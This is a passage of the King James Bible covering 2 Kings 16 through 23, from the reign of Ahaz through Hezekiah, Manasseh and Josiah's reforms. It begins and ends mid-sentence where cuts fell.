Ahaz the son +of Jotham king of Judah began to reign. + +16:2 Twenty years old was Ahaz when he began to reign, and reigned +sixteen years in Jerusalem, and did not that which was right in the +sight of the LORD his God, like David his father. + +16:3 But he walked in the way of the kings of Israel, yea, and made +his son to pass through the fire, according to the abominations of the +heathen, whom the LORD cast out from before the children of Israel. + +16:4 And he sacrificed and burnt incense in the high places, and on +the hills, and under every green tree. + +16:5 Then Rezin king of Syria and Pekah son of Remaliah king of Israel +came up to Jerusalem to war: and they besieged Ahaz, but could not +overcome him. + +16:6 At that time Rezin king of Syria recovered Elath to Syria, and +drave the Jews from Elath: and the Syrians came to Elath, and dwelt +there unto this day. + +16:7 So Ahaz sent messengers to Tiglathpileser king of Assyria, +saying, I am thy servant and thy son: come up, and save me out of the +hand of the king of Syria, and out of the hand of the king of Israel, +which rise up against me. + +16:8 And Ahaz took the silver and gold that was found in the house of +the LORD, and in the treasures of the king's house, and sent it for a +present to the king of Assyria. + +16:9 And the king of Assyria hearkened unto him: for the king of +Assyria went up against Damascus, and took it, and carried the people +of it captive to Kir, and slew Rezin. + +16:10 And king Ahaz went to Damascus to meet Tiglathpileser king of +Assyria, and saw an altar that was at Damascus: and king Ahaz sent to +Urijah the priest the fashion of the altar, and the pattern of it, +according to all the workmanship thereof. + +16:11 And Urijah the priest built an altar according to all that king +Ahaz had sent from Damascus: so Urijah the priest made it against king +Ahaz came from Damascus. + +16:12 And when the king was come from Damascus, the king saw the +altar: and the king approached to the altar, and offered thereon. + +16:13 And he burnt his burnt offering and his meat offering, and +poured his drink offering, and sprinkled the blood of his peace +offerings, upon the altar. + +16:14 And he brought also the brasen altar, which was before the LORD, +from the forefront of the house, from between the altar and the house +of the LORD, and put it on the north side of the altar. + +16:15 And king Ahaz commanded Urijah the priest, saying, Upon the +great altar burn the morning burnt offering, and the evening meat +offering, and the king's burnt sacrifice, and his meat offering, with +the burnt offering of all the people of the land, and their meat +offering, and their drink offerings; and sprinkle upon it all the +blood of the burnt offering, and all the blood of the sacrifice: and +the brasen altar shall be for me to enquire by. + +16:16 Thus did Urijah the priest, according to all that king Ahaz +commanded. + +16:17 And king Ahaz cut off the borders of the bases, and removed the +laver from off them; and took down the sea from off the brasen oxen +that were under it, and put it upon the pavement of stones. + +16:18 And the covert for the sabbath that they had built in the house, +and the king's entry without, turned he from the house of the LORD for +the king of Assyria. + +16:19 Now the rest of the acts of Ahaz which he did, are they not +written in the book of the chronicles of the kings of Judah? 16:20 +And Ahaz slept with his fathers, and was buried with his fathers in +the city of David: and Hezekiah his son reigned in his stead. + +17:1 In the twelfth year of Ahaz king of Judah began Hoshea the son of +Elah to reign in Samaria over Israel nine years. + +17:2 And he did that which was evil in the sight of the LORD, but not +as the kings of Israel that were before him. + +17:3 Against him came up Shalmaneser king of Assyria; and Hoshea +became his servant, and gave him presents. + +17:4 And the king of Assyria found conspiracy in Hoshea: for he had +sent messengers to So king of Egypt, and brought no present to the +king of Assyria, as he had done year by year: therefore the king of +Assyria shut him up, and bound him in prison. + +17:5 Then the king of Assyria came up throughout all the land, and +went up to Samaria, and besieged it three years. + +17:6 In the ninth year of Hoshea the king of Assyria took Samaria, and +carried Israel away into Assyria, and placed them in Halah and in +Habor by the river of Gozan, and in the cities of the Medes. + +17:7 For so it was, that the children of Israel had sinned against the +LORD their God, which had brought them up out of the land of Egypt, +from under the hand of Pharaoh king of Egypt, and had feared other +gods, 17:8 And walked in the statutes of the heathen, whom the LORD +cast out from before the children of Israel, and of the kings of +Israel, which they had made. + +17:9 And the children of Israel did secretly those things that were +not right against the LORD their God, and they built them high places +in all their cities, from the tower of the watchmen to the fenced +city. + +17:10 And they set them up images and groves in every high hill, and +under every green tree: 17:11 And there they burnt incense in all the +high places, as did the heathen whom the LORD carried away before +them; and wrought wicked things to provoke the LORD to anger: 17:12 +For they served idols, whereof the LORD had said unto them, Ye shall +not do this thing. + +17:13 Yet the LORD testified against Israel, and against Judah, by all +the prophets, and by all the seers, saying, Turn ye from your evil +ways, and keep my commandments and my statutes, according to all the +law which I commanded your fathers, and which I sent to you by my +servants the prophets. + +17:14 Notwithstanding they would not hear, but hardened their necks, +like to the neck of their fathers, that did not believe in the LORD +their God. + +17:15 And they rejected his statutes, and his covenant that he made +with their fathers, and his testimonies which he testified against +them; and they followed vanity, and became vain, and went after the +heathen that were round about them, concerning whom the LORD had +charged them, that they should not do like them. + +17:16 And they left all the commandments of the LORD their God, and +made them molten images, even two calves, and made a grove, and +worshipped all the host of heaven, and served Baal. + +17:17 And they caused their sons and their daughters to pass through +the fire, and used divination and enchantments, and sold themselves to +do evil in the sight of the LORD, to provoke him to anger. + +17:18 Therefore the LORD was very angry with Israel, and removed them +out of his sight: there was none left but the tribe of Judah only. + +17:19 Also Judah kept not the commandments of the LORD their God, but +walked in the statutes of Israel which they made. + +17:20 And the LORD rejected all the seed of Israel, and afflicted +them, and delivered them into the hand of spoilers, until he had cast +them out of his sight. + +17:21 For he rent Israel from the house of David; and they made +Jeroboam the son of Nebat king: and Jeroboam drave Israel from +following the LORD, and made them sin a great sin. + +17:22 For the children of Israel walked in all the sins of Jeroboam +which he did; they departed not from them; 17:23 Until the LORD +removed Israel out of his sight, as he had said by all his servants +the prophets. So was Israel carried away out of their own land to +Assyria unto this day. + +17:24 And the king of Assyria brought men from Babylon, and from +Cuthah, and from Ava, and from Hamath, and from Sepharvaim, and placed +them in the cities of Samaria instead of the children of Israel: and +they possessed Samaria, and dwelt in the cities thereof. + +17:25 And so it was at the beginning of their dwelling there, that +they feared not the LORD: therefore the LORD sent lions among them, +which slew some of them. + +17:26 Wherefore they spake to the king of Assyria, saying, The nations +which thou hast removed, and placed in the cities of Samaria, know not +the manner of the God of the land: therefore he hath sent lions among +them, and, behold, they slay them, because they know not the manner of +the God of the land. + +17:27 Then the king of Assyria commanded, saying, Carry thither one of +the priests whom ye brought from thence; and let them go and dwell +there, and let him teach them the manner of the God of the land. + +17:28 Then one of the priests whom they had carried away from Samaria +came and dwelt in Bethel, and taught them how they should fear the +LORD. + +17:29 Howbeit every nation made gods of their own, and put them in the +houses of the high places which the Samaritans had made, every nation +in their cities wherein they dwelt. + +17:30 And the men of Babylon made Succothbenoth, and the men of Cuth +made Nergal, and the men of Hamath made Ashima, 17:31 And the Avites +made Nibhaz and Tartak, and the Sepharvites burnt their children in +fire to Adrammelech and Anammelech, the gods of Sepharvaim. + +17:32 So they feared the LORD, and made unto themselves of the lowest +of them priests of the high places, which sacrificed for them in the +houses of the high places. + +17:33 They feared the LORD, and served their own gods, after the +manner of the nations whom they carried away from thence. + +17:34 Unto this day they do after the former manners: they fear not +the LORD, neither do they after their statutes, or after their +ordinances, or after the law and commandment which the LORD commanded +the children of Jacob, whom he named Israel; 17:35 With whom the LORD +had made a covenant, and charged them, saying, Ye shall not fear other +gods, nor bow yourselves to them, nor serve them, nor sacrifice to +them: 17:36 But the LORD, who brought you up out of the land of Egypt +with great power and a stretched out arm, him shall ye fear, and him +shall ye worship, and to him shall ye do sacrifice. + +17:37 And the statutes, and the ordinances, and the law, and the +commandment, which he wrote for you, ye shall observe to do for +evermore; and ye shall not fear other gods. + +17:38 And the covenant that I have made with you ye shall not forget; +neither shall ye fear other gods. + +17:39 But the LORD your God ye shall fear; and he shall deliver you +out of the hand of all your enemies. + +17:40 Howbeit they did not hearken, but they did after their former +manner. + +17:41 So these nations feared the LORD, and served their graven +images, both their children, and their children's children: as did +their fathers, so do they unto this day. + +18:1 Now it came to pass in the third year of Hoshea son of Elah king +of Israel, that Hezekiah the son of Ahaz king of Judah began to reign. + +18:2 Twenty and five years old was he when he began to reign; and he +reigned twenty and nine years in Jerusalem. His mother's name also was +Abi, the daughter of Zachariah. + +18:3 And he did that which was right in the sight of the LORD, +according to all that David his father did. + +18:4 He removed the high places, and brake the images, and cut down +the groves, and brake in pieces the brasen serpent that Moses had +made: for unto those days the children of Israel did burn incense to +it: and he called it Nehushtan. + +18:5 He trusted in the LORD God of Israel; so that after him was none +like him among all the kings of Judah, nor any that were before him. + +18:6 For he clave to the LORD, and departed not from following him, +but kept his commandments, which the LORD commanded Moses. + +18:7 And the LORD was with him; and he prospered whithersoever he went +forth: and he rebelled against the king of Assyria, and served him +not. + +18:8 He smote the Philistines, even unto Gaza, and the borders +thereof, from the tower of the watchmen to the fenced city. + +18:9 And it came to pass in the fourth year of king Hezekiah, which +was the seventh year of Hoshea son of Elah king of Israel, that +Shalmaneser king of Assyria came up against Samaria, and besieged it. + +18:10 And at the end of three years they took it: even in the sixth +year of Hezekiah, that is in the ninth year of Hoshea king of Israel, +Samaria was taken. + +18:11 And the king of Assyria did carry away Israel unto Assyria, and +put them in Halah and in Habor by the river of Gozan, and in the +cities of the Medes: 18:12 Because they obeyed not the voice of the +LORD their God, but transgressed his covenant, and all that Moses the +servant of the LORD commanded, and would not hear them, nor do them. + +18:13 Now in the fourteenth year of king Hezekiah did Sennacherib king +of Assyria come up against all the fenced cities of Judah, and took +them. + +18:14 And Hezekiah king of Judah sent to the king of Assyria to +Lachish, saying, I have offended; return from me: that which thou +puttest on me will I bear. And the king of Assyria appointed unto +Hezekiah king of Judah three hundred talents of silver and thirty +talents of gold. + +18:15 And Hezekiah gave him all the silver that was found in the house +of the LORD, and in the treasures of the king's house. + +18:16 At that time did Hezekiah cut off the gold from the doors of the +temple of the LORD, and from the pillars which Hezekiah king of Judah +had overlaid, and gave it to the king of Assyria. + +18:17 And the king of Assyria sent Tartan and Rabsaris and Rabshakeh +from Lachish to king Hezekiah with a great host against Jerusalem. And +they went up and came to Jerusalem. And when they were come up, they +came and stood by the conduit of the upper pool, which is in the +highway of the fuller's field. + +18:18 And when they had called to the king, there came out to them +Eliakim the son of Hilkiah, which was over the household, and Shebna +the scribe, and Joah the son of Asaph the recorder. + +18:19 And Rabshakeh said unto them, Speak ye now to Hezekiah, Thus +saith the great king, the king of Assyria, What confidence is this +wherein thou trustest? 18:20 Thou sayest, (but they are but vain +words,) I have counsel and strength for the war. Now on whom dost thou +trust, that thou rebellest against me? 18:21 Now, behold, thou +trustest upon the staff of this bruised reed, even upon Egypt, on +which if a man lean, it will go into his hand, and pierce it: so is +Pharaoh king of Egypt unto all that trust on him. + +18:22 But if ye say unto me, We trust in the LORD our God: is not that +he, whose high places and whose altars Hezekiah hath taken away, and +hath said to Judah and Jerusalem, Ye shall worship before this altar +in Jerusalem? 18:23 Now therefore, I pray thee, give pledges to my +lord the king of Assyria, and I will deliver thee two thousand horses, +if thou be able on thy part to set riders upon them. + +18:24 How then wilt thou turn away the face of one captain of the +least of my master's servants, and put thy trust on Egypt for chariots +and for horsemen? 18:25 Am I now come up without the LORD against +this place to destroy it? The LORD said to me, Go up against this +land, and destroy it. + +18:26 Then said Eliakim the son of Hilkiah, and Shebna, and Joah, unto +Rabshakeh, Speak, I pray thee, to thy servants in the Syrian language; +for we understand it: and talk not with us in the Jews' language in +the ears of the people that are on the wall. + +18:27 But Rabshakeh said unto them, Hath my master sent me to thy +master, and to thee, to speak these words? hath he not sent me to the +men which sit on the wall, that they may eat their own dung, and drink +their own piss with you? 18:28 Then Rabshakeh stood and cried with a +loud voice in the Jews' language, and spake, saying, Hear the word of +the great king, the king of Assyria: 18:29 Thus saith the king, Let +not Hezekiah deceive you: for he shall not be able to deliver you out +of his hand: 18:30 Neither let Hezekiah make you trust in the LORD, +saying, The LORD will surely deliver us, and this city shall not be +delivered into the hand of the king of Assyria. + +18:31 Hearken not to Hezekiah: for thus saith the king of Assyria, +Make an agreement with me by a present, and come out to me, and then +eat ye every man of his own vine, and every one of his fig tree, and +drink ye every one the waters of his cistern: 18:32 Until I come and +take you away to a land like your own land, a land of corn and wine, a +land of bread and vineyards, a land of oil olive and of honey, that ye +may live, and not die: and hearken not unto Hezekiah, when he +persuadeth you, saying, The LORD will deliver us. + +18:33 Hath any of the gods of the nations delivered at all his land +out of the hand of the king of Assyria? 18:34 Where are the gods of +Hamath, and of Arpad? where are the gods of Sepharvaim, Hena, and +Ivah? have they delivered Samaria out of mine hand? 18:35 Who are +they among all the gods of the countries, that have delivered their +country out of mine hand, that the LORD should deliver Jerusalem out +of mine hand? 18:36 But the people held their peace, and answered him +not a word: for the king's commandment was, saying, Answer him not. + +18:37 Then came Eliakim the son of Hilkiah, which was over the +household, and Shebna the scribe, and Joah the son of Asaph the +recorder, to Hezekiah with their clothes rent, and told him the words +of Rabshakeh. + +19:1 And it came to pass, when king Hezekiah heard it, that he rent +his clothes, and covered himself with sackcloth, and went into the +house of the LORD. + +19:2 And he sent Eliakim, which was over the household, and Shebna the +scribe, and the elders of the priests, covered with sackcloth, to +Isaiah the prophet the son of Amoz. + +19:3 And they said unto him, Thus saith Hezekiah, This day is a day of +trouble, and of rebuke, and blasphemy; for the children are come to +the birth, and there is not strength to bring forth. + +19:4 It may be the LORD thy God will hear all the words of Rabshakeh, +whom the king of Assyria his master hath sent to reproach the living +God; and will reprove the words which the LORD thy God hath heard: +wherefore lift up thy prayer for the remnant that are left. + +19:5 So the servants of king Hezekiah came to Isaiah. + +19:6 And Isaiah said unto them, Thus shall ye say to your master, Thus +saith the LORD, Be not afraid of the words which thou hast heard, with +which the servants of the king of Assyria have blasphemed me. + +19:7 Behold, I will send a blast upon him, and he shall hear a rumour, +and shall return to his own land; and I will cause him to fall by the +sword in his own land. + +19:8 So Rabshakeh returned, and found the king of Assyria warring +against Libnah: for he had heard that he was departed from Lachish. + +19:9 And when he heard say of Tirhakah king of Ethiopia, Behold, he is +come out to fight against thee: he sent messengers again unto +Hezekiah, saying, 19:10 Thus shall ye speak to Hezekiah king of Judah, +saying, Let not thy God in whom thou trustest deceive thee, saying, +Jerusalem shall not be delivered into the hand of the king of Assyria. + +19:11 Behold, thou hast heard what the kings of Assyria have done to +all lands, by destroying them utterly: and shalt thou be delivered? +19:12 Have the gods of the nations delivered them which my fathers +have destroyed; as Gozan, and Haran, and Rezeph, and the children of +Eden which were in Thelasar? 19:13 Where is the king of Hamath, and +the king of Arpad, and the king of the city of Sepharvaim, of Hena, +and Ivah? 19:14 And Hezekiah received the letter of the hand of the +messengers, and read it: and Hezekiah went up into the house of the +LORD, and spread it before the LORD. + +19:15 And Hezekiah prayed before the LORD, and said, O LORD God of +Israel, which dwellest between the cherubims, thou art the God, even +thou alone, of all the kingdoms of the earth; thou hast made heaven +and earth. + +19:16 LORD, bow down thine ear, and hear: open, LORD, thine eyes, and +see: and hear the words of Sennacherib, which hath sent him to +reproach the living God. + +19:17 Of a truth, LORD, the kings of Assyria have destroyed the +nations and their lands, 19:18 And have cast their gods into the fire: +for they were no gods, but the work of men's hands, wood and stone: +therefore they have destroyed them. + +19:19 Now therefore, O LORD our God, I beseech thee, save thou us out +of his hand, that all the kingdoms of the earth may know that thou art +the LORD God, even thou only. + +19:20 Then Isaiah the son of Amoz sent to Hezekiah, saying, Thus saith +the LORD God of Israel, That which thou hast prayed to me against +Sennacherib king of Assyria I have heard. + +19:21 This is the word that the LORD hath spoken concerning him; The +virgin the daughter of Zion hath despised thee, and laughed thee to +scorn; the daughter of Jerusalem hath shaken her head at thee. + +19:22 Whom hast thou reproached and blasphemed? and against whom hast +thou exalted thy voice, and lifted up thine eyes on high? even against +the Holy One of Israel. + +19:23 By thy messengers thou hast reproached the LORD, and hast said, +With the multitude of my chariots I am come up to the height of the +mountains, to the sides of Lebanon, and will cut down the tall cedar +trees thereof, and the choice fir trees thereof: and I will enter into +the lodgings of his borders, and into the forest of his Carmel. + +19:24 I have digged and drunk strange waters, and with the sole of my +feet have I dried up all the rivers of besieged places. + +19:25 Hast thou not heard long ago how I have done it, and of ancient +times that I have formed it? now have I brought it to pass, that thou +shouldest be to lay waste fenced cities into ruinous heaps. + +19:26 Therefore their inhabitants were of small power, they were +dismayed and confounded; they were as the grass of the field, and as +the green herb, as the grass on the house tops, and as corn blasted +before it be grown up. + +19:27 But I know thy abode, and thy going out, and thy coming in, and +thy rage against me. + +19:28 Because thy rage against me and thy tumult is come up into mine +ears, therefore I will put my hook in thy nose, and my bridle in thy +lips, and I will turn thee back by the way by which thou camest. + +19:29 And this shall be a sign unto thee, Ye shall eat this year such +things as grow of themselves, and in the second year that which +springeth of the same; and in the third year sow ye, and reap, and +plant vineyards, and eat the fruits thereof. + +19:30 And the remnant that is escaped of the house of Judah shall yet +again take root downward, and bear fruit upward. + +19:31 For out of Jerusalem shall go forth a remnant, and they that +escape out of mount Zion: the zeal of the LORD of hosts shall do this. + +19:32 Therefore thus saith the LORD concerning the king of Assyria, He +shall not come into this city, nor shoot an arrow there, nor come +before it with shield, nor cast a bank against it. + +19:33 By the way that he came, by the same shall he return, and shall +not come into this city, saith the LORD. + +19:34 For I will defend this city, to save it, for mine own sake, and +for my servant David's sake. + +19:35 And it came to pass that night, that the angel of the LORD went +out, and smote in the camp of the Assyrians an hundred fourscore and +five thousand: and when they arose early in the morning, behold, they +were all dead corpses. + +19:36 So Sennacherib king of Assyria departed, and went and returned, +and dwelt at Nineveh. + +19:37 And it came to pass, as he was worshipping in the house of +Nisroch his god, that Adrammelech and Sharezer his sons smote him with +the sword: and they escaped into the land of Armenia. And Esarhaddon +his son reigned in his stead. + +20:1 In those days was Hezekiah sick unto death. And the prophet +Isaiah the son of Amoz came to him, and said unto him, Thus saith the +LORD, Set thine house in order; for thou shalt die, and not live. + +20:2 Then he turned his face to the wall, and prayed unto the LORD, +saying, 20:3 I beseech thee, O LORD, remember now how I have walked +before thee in truth and with a perfect heart, and have done that +which is good in thy sight. And Hezekiah wept sore. + +20:4 And it came to pass, afore Isaiah was gone out into the middle +court, that the word of the LORD came to him, saying, 20:5 Turn again, +and tell Hezekiah the captain of my people, Thus saith the LORD, the +God of David thy father, I have heard thy prayer, I have seen thy +tears: behold, I will heal thee: on the third day thou shalt go up +unto the house of the LORD. + +20:6 And I will add unto thy days fifteen years; and I will deliver +thee and this city out of the hand of the king of Assyria; and I will +defend this city for mine own sake, and for my servant David's sake. + +20:7 And Isaiah said, Take a lump of figs. And they took and laid it +on the boil, and he recovered. + +20:8 And Hezekiah said unto Isaiah, What shall be the sign that the +LORD will heal me, and that I shall go up into the house of the LORD +the third day? 20:9 And Isaiah said, This sign shalt thou have of the +LORD, that the LORD will do the thing that he hath spoken: shall the +shadow go forward ten degrees, or go back ten degrees? 20:10 And +Hezekiah answered, It is a light thing for the shadow to go down ten +degrees: nay, but let the shadow return backward ten degrees. + +20:11 And Isaiah the prophet cried unto the LORD: and he brought the +shadow ten degrees backward, by which it had gone down in the dial of +Ahaz. + +20:12 At that time Berodachbaladan, the son of Baladan, king of +Babylon, sent letters and a present unto Hezekiah: for he had heard +that Hezekiah had been sick. + +20:13 And Hezekiah hearkened unto them, and shewed them all the house +of his precious things, the silver, and the gold, and the spices, and +the precious ointment, and all the house of his armour, and all that +was found in his treasures: there was nothing in his house, nor in all +his dominion, that Hezekiah shewed them not. + +20:14 Then came Isaiah the prophet unto king Hezekiah, and said unto +him, What said these men? and from whence came they unto thee? And +Hezekiah said, They are come from a far country, even from Babylon. + +20:15 And he said, What have they seen in thine house? And Hezekiah +answered, All the things that are in mine house have they seen: there +is nothing among my treasures that I have not shewed them. + +20:16 And Isaiah said unto Hezekiah, Hear the word of the LORD. + +20:17 Behold, the days come, that all that is in thine house, and that +which thy fathers have laid up in store unto this day, shall be +carried into Babylon: nothing shall be left, saith the LORD. + +20:18 And of thy sons that shall issue from thee, which thou shalt +beget, shall they take away; and they shall be eunuchs in the palace +of the king of Babylon. + +20:19 Then said Hezekiah unto Isaiah, Good is the word of the LORD +which thou hast spoken. And he said, Is it not good, if peace and +truth be in my days? 20:20 And the rest of the acts of Hezekiah, and +all his might, and how he made a pool, and a conduit, and brought +water into the city, are they not written in the book of the +chronicles of the kings of Judah? 20:21 And Hezekiah slept with his +fathers: and Manasseh his son reigned in his stead. + +21:1 Manasseh was twelve years old when he began to reign, and reigned +fifty and five years in Jerusalem. And his mother's name was +Hephzibah. + +21:2 And he did that which was evil in the sight of the LORD, after +the abominations of the heathen, whom the LORD cast out before the +children of Israel. + +21:3 For he built up again the high places which Hezekiah his father +had destroyed; and he reared up altars for Baal, and made a grove, as +did Ahab king of Israel; and worshipped all the host of heaven, and +served them. + +21:4 And he built altars in the house of the LORD, of which the LORD +said, In Jerusalem will I put my name. + +21:5 And he built altars for all the host of heaven in the two courts +of the house of the LORD. + +21:6 And he made his son pass through the fire, and observed times, +and used enchantments, and dealt with familiar spirits and wizards: he +wrought much wickedness in the sight of the LORD, to provoke him to +anger. + +21:7 And he set a graven image of the grove that he had made in the +house, of which the LORD said to David, and to Solomon his son, In +this house, and in Jerusalem, which I have chosen out of all tribes of +Israel, will I put my name for ever: 21:8 Neither will I make the feet +of Israel move any more out of the land which I gave their fathers; +only if they will observe to do according to all that I have commanded +them, and according to all the law that my servant Moses commanded +them. + +21:9 But they hearkened not: and Manasseh seduced them to do more evil +than did the nations whom the LORD destroyed before the children of +Israel. + +21:10 And the LORD spake by his servants the prophets, saying, 21:11 +Because Manasseh king of Judah hath done these abominations, and hath +done wickedly above all that the Amorites did, which were before him, +and hath made Judah also to sin with his idols: 21:12 Therefore thus +saith the LORD God of Israel, Behold, I am bringing such evil upon +Jerusalem and Judah, that whosoever heareth of it, both his ears shall +tingle. + +21:13 And I will stretch over Jerusalem the line of Samaria, and the +plummet of the house of Ahab: and I will wipe Jerusalem as a man +wipeth a dish, wiping it, and turning it upside down. + +21:14 And I will forsake the remnant of mine inheritance, and deliver +them into the hand of their enemies; and they shall become a prey and +a spoil to all their enemies; 21:15 Because they have done that which +was evil in my sight, and have provoked me to anger, since the day +their fathers came forth out of Egypt, even unto this day. + +21:16 Moreover Manasseh shed innocent blood very much, till he had +filled Jerusalem from one end to another; beside his sin wherewith he +made Judah to sin, in doing that which was evil in the sight of the +LORD. + +21:17 Now the rest of the acts of Manasseh, and all that he did, and +his sin that he sinned, are they not written in the book of the +chronicles of the kings of Judah? 21:18 And Manasseh slept with his +fathers, and was buried in the garden of his own house, in the garden +of Uzza: and Amon his son reigned in his stead. + +21:19 Amon was twenty and two years old when he began to reign, and he +reigned two years in Jerusalem. And his mother's name was +Meshullemeth, the daughter of Haruz of Jotbah. + +21:20 And he did that which was evil in the sight of the LORD, as his +father Manasseh did. + +21:21 And he walked in all the way that his father walked in, and +served the idols that his father served, and worshipped them: 21:22 +And he forsook the LORD God of his fathers, and walked not in the way +of the LORD. + +21:23 And the servants of Amon conspired against him, and slew the +king in his own house. + +21:24 And the people of the land slew all them that had conspired +against king Amon; and the people of the land made Josiah his son king +in his stead. + +21:25 Now the rest of the acts of Amon which he did, are they not +written in the book of the chronicles of the kings of Judah? 21:26 +And he was buried in his sepulchre in the garden of Uzza: and Josiah +his son reigned in his stead. + +22:1 Josiah was eight years old when he began to reign, and he reigned +thirty and one years in Jerusalem. And his mother's name was Jedidah, +the daughter of Adaiah of Boscath. + +22:2 And he did that which was right in the sight of the LORD, and +walked in all the way of David his father, and turned not aside to the +right hand or to the left. + +22:3 And it came to pass in the eighteenth year of king Josiah, that +the king sent Shaphan the son of Azaliah, the son of Meshullam, the +scribe, to the house of the LORD, saying, 22:4 Go up to Hilkiah the +high priest, that he may sum the silver which is brought into the +house of the LORD, which the keepers of the door have gathered of the +people: 22:5 And let them deliver it into the hand of the doers of the +work, that have the oversight of the house of the LORD: and let them +give it to the doers of the work which is in the house of the LORD, to +repair the breaches of the house, 22:6 Unto carpenters, and builders, +and masons, and to buy timber and hewn stone to repair the house. + +22:7 Howbeit there was no reckoning made with them of the money that +was delivered into their hand, because they dealt faithfully. + +22:8 And Hilkiah the high priest said unto Shaphan the scribe, I have +found the book of the law in the house of the LORD. And Hilkiah gave +the book to Shaphan, and he read it. + +22:9 And Shaphan the scribe came to the king, and brought the king +word again, and said, Thy servants have gathered the money that was +found in the house, and have delivered it into the hand of them that +do the work, that have the oversight of the house of the LORD. + +22:10 And Shaphan the scribe shewed the king, saying, Hilkiah the +priest hath delivered me a book. And Shaphan read it before the king. + +22:11 And it came to pass, when the king had heard the words of the +book of the law, that he rent his clothes. + +22:12 And the king commanded Hilkiah the priest, and Ahikam the son of +Shaphan, and Achbor the son of Michaiah, and Shaphan the scribe, and +Asahiah a servant of the king's, saying, 22:13 Go ye, enquire of the +LORD for me, and for the people, and for all Judah, concerning the +words of this book that is found: for great is the wrath of the LORD +that is kindled against us, because our fathers have not hearkened +unto the words of this book, to do according unto all that which is +written concerning us. + +22:14 So Hilkiah the priest, and Ahikam, and Achbor, and Shaphan, and +Asahiah, went unto Huldah the prophetess, the wife of Shallum the son +of Tikvah, the son of Harhas, keeper of the wardrobe; (now she dwelt +in Jerusalem in the college;) and they communed with her. + +22:15 And she said unto them, Thus saith the LORD God of Israel, Tell +the man that sent you to me, 22:16 Thus saith the LORD, Behold, I will +bring evil upon this place, and upon the inhabitants thereof, even all +the words of the book which the king of Judah hath read: 22:17 Because +they have forsaken me, and have burned incense unto other gods, that +they might provoke me to anger with all the works of their hands; +therefore my wrath shall be kindled against this place, and shall not +be quenched. + +22:18 But to the king of Judah which sent you to enquire of the LORD, +thus shall ye say to him, Thus saith the LORD God of Israel, As +touching the words which thou hast heard; 22:19 Because thine heart +was tender, and thou hast humbled thyself before the LORD, when thou +heardest what I spake against this place, and against the inhabitants +thereof, that they should become a desolation and a curse, and hast +rent thy clothes, and wept before me; I also have heard thee, saith +the LORD. + +22:20 Behold therefore, I will gather thee unto thy fathers, and thou +shalt be gathered into thy grave in peace; and thine eyes shall not +see all the evil which I will bring upon this place. And they brought +the king word again. + +23:1 And the king sent, and they gathered unto him all the elders of +Judah and of Jerusalem. + +23:2 And the king went up into the house of the LORD, and all the men +of Judah and all the inhabitants of Jerusalem with him, and the +priests, and the prophets, and all the people, both small and great: +and he read in their ears all the words of the book of the covenant +which was found in the house of the LORD. + +23:3 And the king stood by a pillar, and made a covenant before the +LORD, to walk after the LORD, and to keep his commandments and his +testimonies and his statutes with all their heart and all their soul, +to perform the words of this covenant that were written in this book. +And all the people stood to the covenant. + +23:4 And the king commanded Hilkiah the high priest, and the priests +of the second order, and the keepers of the door, to bring forth out +of the temple of the LORD all the vessels that were made for Baal, and +for the grove, and for all the host of heaven: and he burned them +without Jerusalem in the fields of Kidron, and carried the ashes of +them unto Bethel. + +23:5 And he put down the idolatrous priests, whom the kings of Judah +had ordained to burn incense in the high places in the cities of +Judah, and in the places round about Jerusalem; them also that burned +incense unto Baal, to the sun, and to the moon, and to the planets, +and to all the host of heaven. + +23:6 And he brought out the grove from the house of the LORD, without +Jerusalem, unto the brook Kidron, and burned it at the brook Kidron, +and stamped it small to powder, and cast the powder thereof upon the +graves of the children of the people. + +23:7 And he brake down the houses of the sodomites, that were by the +house of the LORD, where the women wove hangings for the grove. + +23:8 And he brought all the priests out of the cities of Judah, and +defiled the high places where the priests had burned incense, from +Geba to Beersheba, and brake down the high places of the gates that +were in the entering in of the gate of Joshua the governor of the +city, which were on a man's left hand at the gate of the city. + +23:9 Nevertheless the priests of the high places came not up to the +altar of the LORD in Jerusalem, but they did eat of the unleavened +bread among their brethren. + +23:10 And he defiled Topheth, which is in the valley of the children +of Hinnom, that no man might make his son or his daughter to pass +through the fire to Molech. + +23:11 And he took away the horses that the kings of Judah had given to +the sun, at the entering in of the house of the LORD, by the chamber +of Nathanmelech the chamberlain, which was in the suburbs, and burned +the chariots of the sun with fire. + +23:12 And the altars that were on the top of the upper chamber of +Ahaz, which the kings of Judah had made, and the altars which Manasseh +had made in the two courts of the house of the LORD, did the king beat +down, and brake them down from thence, and cast the dust of them into +the brook Kidron. + +23:13 And the high places that were before Jerusalem, which were on +the right hand of the mount of corruption, which Solomon the king of +Israel had builded for Ashtoreth the abomination of the Zidonians, and +for Chemosh the abomination of the Moabites, and for Milcom the +abomination of the children of Ammon, did the king defile. + +23:14 And he brake in pieces the images, and cut down the groves, and +filled their places with the bones of men. + +23:15 Moreover the altar that was at Bethel, and the high place which +Jeroboam the son of Nebat, who made Israel to sin, had made, both that +altar and the high place he brake down, and burned the high place, and +stamped it small to powder, and burned the grove. + +23:16 And as Josiah turned himself, he spied the sepulchres that were +there in the mount, and sent, and took the bones out of the +sepulchres, and burned them upon the altar, and polluted it, according +to the word of the LORD which the man of God proclaimed, who +proclaimed these words. + +23:17 Then he said, What title is that that I see? And the men of the +city told him, It is the sepulchre of the man of God, which came from +Judah, and proclaimed these things that thou hast done against the +altar of Bethel. + +23:18 And he said, Let him alone; let no man move his bones. So they +let his bones alone, with the bones of the prophet that came out of +Samaria. + +23:19 And all the houses also of the high places that were in the +cities of Samaria, which the kings of Israel had made to provoke the +Lord to anger, Josiah took away, and did to them according to all the +acts that he had done in Bethel. + +23:20 And he slew all the priests of the high places that were there +upon the altars, and burned men's bones upon them, and returned to +Jerusalem. + +23:21 And the king commanded all the people, saying, Keep the passover +unto the LORD your God, as it is written in the book of this covenant. + +23:22 Surely there was not holden such a passover from the days of the +judges that judged Israel, nor in all the days of the kings of Israel, +nor of the kings of Judah; 23:23 But in the eighteenth year of king +Josiah, wherein this passover was holden to the LORD in Jerusalem. + +23:24 Moreover the workers with familiar spirits, and the wizards, and +the images, and the idols, and all the abominations that were spied in +the land of Judah and in Jerusalem, did Josiah put away, that he might +perform the words of the law which were written in the book that +Hilkiah the priest found in the house of the LORD. + +23:25 And like unto him was there no king before him, that turned to +the LORD with all his heart, and with all his soul, and with all his +might, according to all the law of Moses; neither after him arose +there any like him. + +23:26 Notwithstanding the LORD turned not from the fierceness of his +great wrath, wherewith his anger was kindled against Judah, because of +all the provocations that Manasseh had provoked him withal. + +23:27 And the LORD said, I will remove Judah also out of my sight, as +I have removed Israel, and will cast off this city Jerusalem which I +have chosen, and the house of which I said, My name 